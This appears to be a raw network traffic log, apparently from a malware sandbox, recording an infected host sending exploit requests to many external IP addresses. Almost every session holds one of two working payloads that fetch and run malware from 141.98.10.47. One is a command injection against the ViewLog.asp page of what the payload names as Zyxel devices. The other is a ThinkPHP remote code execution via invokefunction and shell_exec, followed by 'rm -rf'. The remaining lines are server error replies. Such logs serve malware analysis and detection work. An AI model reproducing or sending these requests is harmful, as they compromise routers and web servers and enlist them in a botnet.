Dec 26, 2023 21:23:22.998316050 CET	314	IN	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	57788	85.6.175.191	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:22.780051947 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:23.070905924 CET	36	IN	HTTP/1.1 403 Forbidden

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	45980	62.56.142.165	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:22.816421032 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:25.980600119 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	55226	94.120.24.44	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:23.095675945 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	53456	88.209.212.13	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:23.266885042 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	50798	85.9.96.73	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:23.362026930 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	41878	95.100.81.135	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:23.509973049 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:24.271055937 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:24.524996996 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:24 GMT Date: Tue, 26 Dec 2023 20:23:24 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 62 61 30 64 35 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 32 30 34 26 23 34 36 3b 32 32 64 30 39 36 30 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.cba0d517.1703622204.22d09607</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	51312	95.179.132.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:23.511291027 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:24.796751022 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:25.041134119 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Tue, 26 Dec 2023 20:23:24 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	56584	85.14.201.75	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:23.763748884 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:24.009088039 CET	491	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 345 Date: Tue, 26 Dec 2023 20:23:23 GMT Server: lighttpd/1.4.45 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	38570	31.30.179.163	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:23.778903961 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:24.042363882 CET	1286	IN	HTTP/1.1 400 Bad Request Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	52154	112.184.24.46	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:23.941555977 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	52142	31.136.198.126	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:24.264694929 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:25.020735979 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:26.524580002 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:29.564069986 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:35.707222939 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:47.737524033 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:13.077974081 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:02.223036051 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	57660	112.175.89.137	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:24.269264936 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:25.276695967 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:27.260397911 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:31.355873108 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:39.290730000 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:55.160500050 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
